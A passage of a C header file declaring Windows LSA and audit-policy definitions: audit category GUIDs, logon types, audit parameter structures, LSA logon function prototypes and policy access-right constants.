0x0cce9238,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountManagement_DistributionGroup_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9239-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountManagement_ApplicationGroup_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountManagement_ApplicationGroup,\r\n        0x0cce9239,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountManagement_ApplicationGroup_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce923a-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountManagement_Others_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountManagement_Others,\r\n        0x0cce923a,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountManagement_Others_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce923b-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_DSAccess_DSAccess_defined)\r\n    DEFINE_GUID(\r\n        Audit_DSAccess_DSAccess,\r\n        0x0cce923b,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_DSAccess_DSAccess_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce923c-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_DsAccess_AdAuditChanges_defined)\r\n    DEFINE_GUID(\r\n        Audit_DsAccess_AdAuditChanges,\r\n        0x0cce923c,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_DsAccess_AdAuditChanges_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce923d-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Ds_Replication_defined)\r\n    DEFINE_GUID(\r\n        Audit_Ds_Replication,\r\n        0x0cce923d,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Ds_Replication_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce923e-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Ds_DetailedReplication_defined)\r\n    DEFINE_GUID(\r\n        Audit_Ds_DetailedReplication,\r\n        0x0cce923e,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Ds_DetailedReplication_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce923f-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountLogon_CredentialValidation_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountLogon_CredentialValidation,\r\n        0x0cce923f,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountLogon_CredentialValidation_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9240-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountLogon_Kerberos_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountLogon_Kerberos,\r\n        0x0cce9240,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountLogon_Kerberos_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9241-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountLogon_Others_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountLogon_Others,\r\n        0x0cce9241,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountLogon_Others_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9242-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountLogon_KerbCredentialValidation_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountLogon_KerbCredentialValidation,\r\n        0x0cce9242,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountLogon_KerbCredentialValidation_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9243-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Logon_NPS_defined)\r\n    DEFINE_GUID(\r\n        Audit_Logon_NPS,\r\n        0x0cce9243,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Logon_NPS_defined\r\n    #endif\r\n#endif\r\n\r\n/* 0cce9244-69ae-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_DetailedFileShare_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess_DetailedFileShare,\r\n        0x0cce9244,\r\n        0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_DetailedFileShare_defined\r\n    #endif\r\n#endif\r\n\r\n#endif // DEFINE_GUID\r\n\r\n\r\n//\r\n// All categories are named as <Audit_CategoryName>\r\n//\r\n\r\n#ifdef DEFINE_GUID\r\n\r\n/* 69979848-797a-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_System_defined)\r\n    DEFINE_GUID(\r\n        Audit_System,\r\n        0x69979848,\r\n        0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_System_defined\r\n    #endif\r\n#endif\r\n\r\n/* 69979849-797a-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_Logon_defined)\r\n    DEFINE_GUID(\r\n        Audit_Logon,\r\n        0x69979849,\r\n        0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_Logon_defined\r\n    #endif\r\n#endif\r\n\r\n/* 6997984a-797a-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_ObjectAccess_defined)\r\n    DEFINE_GUID(\r\n        Audit_ObjectAccess,\r\n        0x6997984a,\r\n        0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_ObjectAccess_defined\r\n    #endif\r\n#endif\r\n\r\n/* 6997984b-797a-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_defined)\r\n    DEFINE_GUID(\r\n        Audit_PrivilegeUse,\r\n        0x6997984b,\r\n        0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PrivilegeUse_defined\r\n    #endif\r\n#endif\r\n\r\n/* 6997984c-797a-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_DetailedTracking_defined)\r\n    DEFINE_GUID(\r\n        Audit_DetailedTracking,\r\n        0x6997984c,\r\n        0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_DetailedTracking_defined\r\n    #endif\r\n#endif\r\n\r\n/* 6997984d-797a-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_PolicyChange_defined)\r\n    DEFINE_GUID(\r\n        Audit_PolicyChange,\r\n        0x6997984d,\r\n        0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_PolicyChange_defined\r\n    #endif\r\n#endif\r\n\r\n/* 6997984e-797a-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountManagement_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountManagement,\r\n        0x6997984e,\r\n        0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountManagement_defined\r\n    #endif\r\n#endif\r\n\r\n/* 6997984f-797a-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_DirectoryServiceAccess_defined)\r\n    DEFINE_GUID(\r\n        Audit_DirectoryServiceAccess,\r\n        0x6997984f,\r\n        0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_DirectoryServiceAccess_defined\r\n    #endif\r\n#endif\r\n\r\n/* 69979850-797a-11d9-bed3-505054503030 */\r\n#if !defined(INITGUID) || !defined(Audit_AccountLogon_defined)\r\n    DEFINE_GUID(\r\n        Audit_AccountLogon,\r\n        0x69979850,\r\n        0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30\r\n    \t);\r\n    #ifdef INITGUID\r\n    #define Audit_AccountLogon_defined\r\n    #endif\r\n#endif\r\n\r\n#endif // DEFINE_GUID\r\n\r\n// 04.06.2011 - added\r\n#if !defined(_NTLSA_IFS_)\r\n#define _NTLSA_IFS_\r\n\r\n#if !defined(_LSALOOKUP_)\r\n#define _LSALOOKUP_\r\n\r\n#if defined(_NTDEF_)\r\n\r\ntypedef UNICODE_STRING LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;\r\ntypedef STRING LSA_STRING, *PLSA_STRING;\r\ntypedef OBJECT_ATTRIBUTES LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES;\r\n\r\n#else // _NTDEF_\r\n\r\ntypedef struct _LSA_UNICODE_STRING {\r\n\tUSHORT Length;\r\n\tUSHORT MaximumLength;\r\n#ifdef MIDL_PASS\r\n\t[size_is(MaximumLength/2), length_is(Length/2)]\r\n#endif // MIDL_PASS\r\n\tPWSTR  Buffer;\r\n} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;\r\n\r\ntypedef struct _LSA_STRING {\r\n\tUSHORT Length;\r\n\tUSHORT MaximumLength;\r\n\tPCHAR Buffer;\r\n} LSA_STRING, *PLSA_STRING;\r\n\r\ntypedef struct _LSA_OBJECT_ATTRIBUTES {\r\n\tULONG Length;\r\n\tHANDLE RootDirectory;\r\n\tPLSA_UNICODE_STRING ObjectName;\r\n\tULONG Attributes;\r\n\tPVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR\r\n\tPVOID SecurityQualityOfService;  // Points to type SECURITY_QUALITY_OF_SERVICE\r\n} LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES;\r\n\r\n#endif // _NTDEF_\r\n\r\ntypedef struct _LSA_TRUST_INFORMATION {\r\n\tLSA_UNICODE_STRING Name;\t// The name of the domain\r\n\tPSID Sid;\t\t\t\t\t\t\t\t\t// ptr to domain Sid\r\n} LSA_TRUST_INFORMATION, *PLSA_TRUST_INFORMATION;\r\n\r\ntypedef struct _LSA_REFERENCED_DOMAIN_LIST {\r\n\tULONG Entries;\t\t\t\t\t\t\t\t\t// count of domains in domain array\r\n\tPLSA_TRUST_INFORMATION Domains;\t// pointer to array LSA_TRUST_INFORMATION data\r\n} LSA_REFERENCED_DOMAIN_LIST, *PLSA_REFERENCED_DOMAIN_LIST;\r\n\r\n#if (_WIN32_WINNT >= 0x0501)\r\ntypedef struct _LSA_TRANSLATED_SID2 {\r\n\tSID_NAME_USE Use;\r\n\tPSID         Sid;\r\n\tLONG         DomainIndex;\r\n\tULONG        Flags;\r\n} LSA_TRANSLATED_SID2, *PLSA_TRANSLATED_SID2;\r\n#endif\r\n\r\ntypedef struct _LSA_TRANSLATED_NAME {\r\n\tSID_NAME_USE Use;\r\n\tLSA_UNICODE_STRING Name;\r\n\tLONG DomainIndex;\r\n} LSA_TRANSLATED_NAME, *PLSA_TRANSLATED_NAME;\r\n\r\ntypedef struct _POLICY_ACCOUNT_DOMAIN_INFO {\r\n\tLSA_UNICODE_STRING DomainName;\r\n\tPSID DomainSid;\r\n} POLICY_ACCOUNT_DOMAIN_INFO, *PPOLICY_ACCOUNT_DOMAIN_INFO;\r\n\r\ntypedef struct _POLICY_DNS_DOMAIN_INFO\r\n{\r\n\tLSA_UNICODE_STRING Name;\r\n\tLSA_UNICODE_STRING DnsDomainName;\r\n\tLSA_UNICODE_STRING DnsForestName;\r\n\tGUID DomainGuid;\r\n\tPSID Sid;\r\n} POLICY_DNS_DOMAIN_INFO, *PPOLICY_DNS_DOMAIN_INFO;\r\n\r\n#define LOOKUP_VIEW_LOCAL_INFORMATION       0x00000001\r\n#define LOOKUP_TRANSLATE_NAMES              0x00000800\r\n\r\ntypedef enum _LSA_LOOKUP_DOMAIN_INFO_CLASS {\r\n\tAccountDomainInformation = 5,\r\n\tDnsDomainInformation     = 12\r\n} LSA_LOOKUP_DOMAIN_INFO_CLASS, *PLSA_LOOKUP_DOMAIN_INFO_CLASS;\r\n\r\ntypedef PVOID LSA_LOOKUP_HANDLE, *PLSA_LOOKUP_HANDLE;\r\n\r\nNTSTATUS\r\nLsaLookupOpenLocalPolicy(\r\n\tIN PLSA_OBJECT_ATTRIBUTES ObjectAttributes,\r\n\tIN ACCESS_MASK AccessMask,\r\n\t_Inout_ PLSA_LOOKUP_HANDLE PolicyHandle\r\n\t);\r\n\r\nNTSTATUS\r\nLsaLookupClose(\r\n\tIN LSA_LOOKUP_HANDLE ObjectHandle\r\n\t);\r\n\r\nNTSTATUS\r\nLsaLookupTranslateSids(\r\n\tIN LSA_LOOKUP_HANDLE PolicyHandle,\r\n\tIN ULONG Count,\r\n\tIN PSID *Sids,\r\n\tOUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains,\r\n\tOUT PLSA_TRANSLATED_NAME *Names\r\n\t);\r\n\r\n#if (_WIN32_WINNT >= 0x0501)\r\nNTSTATUS\r\nLsaLookupTranslateNames(\r\n\tIN LSA_LOOKUP_HANDLE PolicyHandle,\r\n\tIN ULONG Flags,\r\n\tIN ULONG Count,\r\n\tIN PLSA_UNICODE_STRING Names,\r\n\tOUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains,\r\n\tOUT PLSA_TRANSLATED_SID2 *Sids\r\n\t);\r\n#endif\r\n\r\nNTSTATUS\r\nLsaLookupGetDomainInfo(\r\n\tIN LSA_LOOKUP_HANDLE PolicyHandle,\r\n\tIN LSA_LOOKUP_DOMAIN_INFO_CLASS DomainInfoClass,\r\n\tOUT PVOID *DomainInfo\r\n\t);\r\n\r\nNTSTATUS\r\nLsaLookupFreeMemory(\r\n\tIN PVOID Buffer\r\n\t);\r\n\r\n#endif // _LSALOOKUP_\r\n\r\n#define LSA_MODE_PASSWORD_PROTECTED     (0x00000001L)\r\n#define LSA_MODE_INDIVIDUAL_ACCOUNTS    (0x00000002L)\r\n#define LSA_MODE_MANDATORY_ACCESS       (0x00000004L)\r\n#define LSA_MODE_LOG_FULL               (0x00000008L)\r\n\r\ntypedef enum _SECURITY_LOGON_TYPE {\r\n    UndefinedLogonType = 0, // This is used to specify an undefined logon type\r\n    Interactive = 2,      // Interactively logged on (locally or remotely)\r\n    Network,              // Accessing system via network\r\n    Batch,                // Started via a batch queue\r\n    Service,              // Service started by service controller\r\n    Proxy,                // Proxy logon\r\n    Unlock,               // Unlock workstation\r\n    NetworkCleartext,     // Network logon with cleartext credentials\r\n    NewCredentials,       // Clone caller, new default credentials\r\n    //The types below only exist in Windows XP and greater\r\n#if (_WIN32_WINNT >= 0x0501)\r\n    RemoteInteractive,  // Remote, yet interactive. Terminal server\r\n    CachedInteractive,  // Try cached credentials without hitting the net.\r\n    // The types below only exist in Windows Server 2003 and greater\r\n#endif\r\n#if (_WIN32_WINNT >= 0x0502)\r\n    CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose\r\n    CachedUnlock        // Cached Unlock workstation\r\n#endif\r\n} SECURITY_LOGON_TYPE, *PSECURITY_LOGON_TYPE;\r\n\r\ntypedef ULONG LSA_OPERATIONAL_MODE, *PLSA_OPERATIONAL_MODE;\r\n\r\n#if !defined(_NTLSA_AUDIT_)\r\n#define _NTLSA_AUDIT_\r\n\r\n//\r\n// The following enumerated type is used between the reference monitor and\r\n// LSA in the generation of audit messages.  It is used to indicate the\r\n// type of data being passed as a parameter from the reference monitor\r\n// to LSA.  LSA is responsible for transforming the specified data type\r\n// into a set of unicode strings that are added to the event record in\r\n// the audit log.\r\n//\r\n\r\ntypedef enum _SE_ADT_PARAMETER_TYPE {\r\n\r\n    SeAdtParmTypeNone = 0,          //Produces 1 parameter\r\n    SeAdtParmTypeString,            //Produces 1 parameter.\r\n    SeAdtParmTypeFileSpec,\r\n\t\tSeAdtParmTypeUlong,             //Produces 1 parameter\r\n    SeAdtParmTypeSid,               //Produces 1 parameter.\r\n    SeAdtParmTypeLogonId,           //Produces 4 parameters.\r\n    SeAdtParmTypeNoLogonId,         //Produces 3 parameters.\r\n    SeAdtParmTypeAccessMask,        //Produces 1 parameter with formatting.\r\n    SeAdtParmTypePrivs,             //Produces 1 parameter with formatting.\r\n    SeAdtParmTypeObjectTypes,       //Produces 10 parameters with formatting.\r\n    SeAdtParmTypeHexUlong,          //Produces 1 parameter\r\n    SeAdtParmTypePtr,               //Produces 1 parameter\r\n    SeAdtParmTypeTime,              //Produces 2 parameters\r\n    SeAdtParmTypeGuid,              //Produces 1 parameter\r\n    SeAdtParmTypeLuid,              //\r\n    SeAdtParmTypeHexInt64,          //Produces 1 parameter\r\n    SeAdtParmTypeStringList,        //Produces 1 parameter\r\n    SeAdtParmTypeSidList,           //Produces 1 parameter\r\n    SeAdtParmTypeDuration,          //Produces 1 parameters\r\n    SeAdtParmTypeUserAccountControl,//Produces 3 parameters\r\n    SeAdtParmTypeNoUac,             //Produces 3 parameters\r\n    SeAdtParmTypeMessage,           //Produces 1 Parameter\r\n    SeAdtParmTypeDateTime,          //Produces 1 Parameter\r\n    SeAdtParmTypeSockAddr,          // Produces 2 parameters\r\n    SeAdtParmTypeSD,                // Produces 1 parameters\r\n    SeAdtParmTypeLogonHours,        // Produces 1 parameters\r\n    SeAdtParmTypeLogonIdNoSid,      //Produces 3 parameters.\r\n    SeAdtParmTypeUlongNoConv,       // Produces 1 parameter.\r\n    SeAdtParmTypeSockAddrNoPort,     // Produces 1 parameter\r\n    SeAdtParmTypeAccessReason\r\n\r\n} SE_ADT_PARAMETER_TYPE, *PSE_ADT_PARAMETER_TYPE;\r\n\r\n#if !defined(GUID_DEFINED)\r\n#include <guiddef.h>\r\n#endif /* GUID_DEFINED */\r\n\r\ntypedef struct _SE_ADT_OBJECT_TYPE {\r\n    GUID ObjectType;\r\n    USHORT Flags;\r\n#define SE_ADT_OBJECT_ONLY 0x1\r\n    USHORT Level;\r\n    ACCESS_MASK AccessMask;\r\n} SE_ADT_OBJECT_TYPE, *PSE_ADT_OBJECT_TYPE;\r\n\r\ntypedef struct _SE_ADT_PARAMETER_ARRAY_ENTRY {\r\n\r\n    SE_ADT_PARAMETER_TYPE Type;\r\n    ULONG Length;\r\n    ULONG_PTR Data[2];\r\n    PVOID Address;\r\n} SE_ADT_PARAMETER_ARRAY_ENTRY, *PSE_ADT_PARAMETER_ARRAY_ENTRY;\r\n\r\n\r\ntypedef struct _SE_ADT_ACCESS_REASON{\r\n    ACCESS_MASK AccessMask;\r\n    ULONG  AccessReasons[32];\r\n    ULONG  ObjectTypeIndex;\r\n    ULONG AccessGranted;\r\n    PSECURITY_DESCRIPTOR SecurityDescriptor;\r\n} SE_ADT_ACCESS_REASON, *PSE_ADT_ACCESS_REASON;\r\n\r\n#define SE_MAX_AUDIT_PARAMETERS 32\r\n#define SE_MAX_GENERIC_AUDIT_PARAMETERS 28\r\n\r\ntypedef struct _SE_ADT_PARAMETER_ARRAY {\r\n\r\n    ULONG CategoryId;\r\n    ULONG AuditId;\r\n    ULONG ParameterCount;\r\n    ULONG Length;\r\n    USHORT FlatSubCategoryId;\r\n    USHORT Type;\r\n    ULONG Flags;\r\n    SE_ADT_PARAMETER_ARRAY_ENTRY Parameters[ SE_MAX_AUDIT_PARAMETERS ];\r\n\r\n} SE_ADT_PARAMETER_ARRAY, *PSE_ADT_PARAMETER_ARRAY;\r\n\r\n#define SE_ADT_PARAMETERS_SELF_RELATIVE     0x00000001\r\n#define SE_ADT_PARAMETERS_SEND_TO_LSA       0x00000002\r\n#define SE_ADT_PARAMETER_EXTENSIBLE_AUDIT   0x00000004\r\n#define SE_ADT_PARAMETER_GENERIC_AUDIT      0x00000008\r\n#define SE_ADT_PARAMETER_WRITE_SYNCHRONOUS  0x00000010\r\n\r\n#define LSAP_SE_ADT_PARAMETER_ARRAY_TRUE_SIZE(AuditParameters)    \\\r\n     ( sizeof(SE_ADT_PARAMETER_ARRAY) -                           \\\r\n       sizeof(SE_ADT_PARAMETER_ARRAY_ENTRY) *                     \\\r\n       (SE_MAX_AUDIT_PARAMETERS - AuditParameters->ParameterCount) )\r\n\r\n#endif // !defined(_NTLSA_AUDIT_)\r\n\r\ntypedef enum _POLICY_AUDIT_EVENT_TYPE {\r\n\r\n    AuditCategorySystem = 0,\r\n    AuditCategoryLogon,\r\n    AuditCategoryObjectAccess,\r\n    AuditCategoryPrivilegeUse,\r\n    AuditCategoryDetailedTracking,\r\n    AuditCategoryPolicyChange,\r\n    AuditCategoryAccountManagement,\r\n    AuditCategoryDirectoryServiceAccess,\r\n    AuditCategoryAccountLogon\r\n\r\n} POLICY_AUDIT_EVENT_TYPE, *PPOLICY_AUDIT_EVENT_TYPE;\r\n\r\n#define POLICY_AUDIT_EVENT_UNCHANGED       (0x00000000L)\r\n#define POLICY_AUDIT_EVENT_SUCCESS         (0x00000001L)\r\n#define POLICY_AUDIT_EVENT_FAILURE         (0x00000002L)\r\n#define POLICY_AUDIT_EVENT_NONE            (0x00000004L)\r\n\r\n#define POLICY_AUDIT_EVENT_MASK \\\r\n    (POLICY_AUDIT_EVENT_SUCCESS | \\\r\n     POLICY_AUDIT_EVENT_FAILURE | \\\r\n     POLICY_AUDIT_EVENT_UNCHANGED | \\\r\n     POLICY_AUDIT_EVENT_NONE)\r\n\r\n#define LSA_SUCCESS(Error) ((LONG)(Error) >= 0)\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaRegisterLogonProcess (\r\n\tIN PLSA_STRING LogonProcessName,\r\n\tOUT PHANDLE LsaHandle,\r\n\tOUT PLSA_OPERATIONAL_MODE SecurityMode\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaLogonUser (\r\n\tIN HANDLE LsaHandle,\r\n\tIN PLSA_STRING OriginName,\r\n\tIN SECURITY_LOGON_TYPE LogonType,\r\n\tIN ULONG AuthenticationPackage,\r\n\tIN PVOID AuthenticationInformation,\r\n\tIN ULONG AuthenticationInformationLength,\r\n\t_In_opt_ PTOKEN_GROUPS LocalGroups,\r\n\tIN PTOKEN_SOURCE SourceContext,\r\n\tOUT PVOID *ProfileBuffer,\r\n\tOUT PULONG ProfileBufferLength,\r\n\tOUT PLUID LogonId,\r\n\tOUT PHANDLE Token,\r\n\tOUT PQUOTA_LIMITS Quotas,\r\n\tOUT PNTSTATUS SubStatus\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaLookupAuthenticationPackage (\r\n\tIN HANDLE LsaHandle,\r\n\tIN PLSA_STRING PackageName,\r\n\tOUT PULONG AuthenticationPackage\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaFreeReturnBuffer (\r\n\tIN PVOID Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaCallAuthenticationPackage (\r\n\tIN HANDLE LsaHandle,\r\n\tIN ULONG AuthenticationPackage,\r\n\tIN PVOID ProtocolSubmitBuffer,\r\n\tIN ULONG SubmitBufferLength,\r\n\tOUT OPTIONAL PVOID *ProtocolReturnBuffer,\r\n\tOUT OPTIONAL PULONG ReturnBufferLength,\r\n\tOUT OPTIONAL PNTSTATUS ProtocolStatus\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaDeregisterLogonProcess (\r\n\tIN HANDLE LsaHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaConnectUntrusted (\r\n\tOUT PHANDLE LsaHandle\r\n\t);\r\n\r\n////////////////////////////////////////////////////////////////////////////\r\n//                                                                        //\r\n// Local Security Policy Administration API datatypes and defines         //\r\n//                                                                        //\r\n////////////////////////////////////////////////////////////////////////////\r\n\r\n#define POLICY_VIEW_LOCAL_INFORMATION              0x00000001L\r\n#define POLICY_VIEW_AUDIT_INFORMATION              0x00000002L\r\n#define POLICY_GET_PRIVATE_INFORMATION             0x00000004L\r\n#define POLICY_TRUST_ADMIN                         0x00000008L\r\n#define POLICY_CREATE_ACCOUNT                      0x00000010L\r\n#define POLICY_CREATE_SECRET                       0x00000020L\r\n#define POLICY_CREATE_PRIVILEGE                    0x00000040L\r\n#define POLICY_SET_DEFAULT_QUOTA_LIMITS            0x00000080L\r\n#define POLICY_SET_AUDIT_REQUIREMENTS              0x00000100L\r\n#define POLICY_AUDIT_LOG_ADMIN                     0x00000200L\r\n#define POLICY_SERVER_ADMIN                        0x00000400L\r\n#define POLICY_LOOKUP_NAMES                        0x00000800L\r\n#define POLICY_NOTIFICATION                        0x00001000L\r\n\r\n#define POLICY_ALL_ACCESS     (STANDARD_RIGHTS_REQUIRED         |\\\r\n                               POLICY_VIEW_LOCAL_INFORMATION    |\\\r\n                               POLICY_VIEW_AUDIT_INFORMATION    |\\\r\n                               POLICY_GET_PRIVATE_INFORMATION   |\\\r\n                               POLICY_TRUST_ADMIN               |\\\r\n                               POLICY_CREATE_ACCOUNT            |\\\r\n                               POLICY_CREATE_SECRET             |\\\r\n                               POLICY_CREATE_PRIVILEGE          |\\\r\n                               POLICY_SET_DEFAULT_QUOTA_LIMITS  |\\\r\n                               POLICY_SET_AUDIT_REQUIREMENTS    |\\\r\n                               POLICY_AUDIT_LOG_ADMIN           |\\\r\n                               POLICY_SERVER_ADMIN              |\\\r\n                               POLICY_LOOKUP_NAMES)\r\n\r\n\r\n#define POLICY_READ           (STANDARD_RIGHTS_READ             |\\\r\n                               POLICY_VIEW_AUDIT_INFORMATION    |\\\r\n                               POLICY_GET_PRIVATE_INFORMATION)\r\n\r\n#define POLICY_WRITE          (STANDARD_RIGHTS_WRITE            |\\\r\n                               POLICY_TRUST_ADMIN               |\\\r\n                               POLICY_CREATE_ACCOUNT            |\\\r\n                               POLICY_CREATE_SECRET             |\\\r\n                               POLICY_CREATE_PRIVILEGE          |\\\r\n                               POLICY_SET_DEFAULT_QUOTA_LIMITS  |\\\r\n                               POLICY_SET_AUDIT_REQUIREMENTS    |\\\r\n                               POLICY_AUDIT_LOG_ADMIN           |\\\r\n                               POLICY_SERVER_ADMIN)\r\n\r\n#define POLICY_EXECUTE        (STANDARD_RIGHTS_EXECUTE          |\\\r\n                               POLICY_VIEW_LOCAL_INFORMATION    |\\\r\n                               POLICY_LOOKUP_NAMES)\r\n\r\ntypedef struct _LSA_TRANSLATED_SID {\r\n\r\n    SID_NAME_USE Use;\r\n    ULONG RelativeId;\r\n    LONG DomainIndex;\r\n\r\n} LSA_TRANSLATED_SID, *PLSA_TRANSLATED_SID;\r\n\r\ntypedef enum _POLICY_LSA_SERVER_ROLE {\r\n\r\n    PolicyServerRoleBackup = 2,\r\n    PolicyServerRolePrimary\r\n\r\n} POLICY_LSA_SERVER_ROLE, *PPOLICY_LSA_SERVER_ROLE;\r\n\r\n#if (_WIN32_WINNT < 0x0502)\r\n\r\ntypedef enum _POLICY_SERVER_ENABLE_STATE {\r\n\r\n    PolicyServerEnabled = 2,\r\n    PolicyServerDisabled\r\n\r\n} POLICY_SERVER_ENABLE_STATE, *PPOLICY_SERVER_ENABLE_STATE;\r\n#endif\r\n\r\ntypedef ULONG POLICY_AUDIT_EVENT_OPTIONS, *PPOLICY_AUDIT_EVENT_OPTIONS;\r\n\r\ntypedef enum _POLICY_INFORMATION_CLASS {\r\n\r\n    PolicyAuditLogInformation = 1,\r\n    PolicyAuditEventsInformation,\r\n    PolicyPrimaryDomainInformation,\r\n    PolicyPdAccountInformation,\r\n    PolicyAccountDomainInformation,\r\n    PolicyLsaServerRoleInformation,\r\n    PolicyReplicaSourceInformation,\r\n    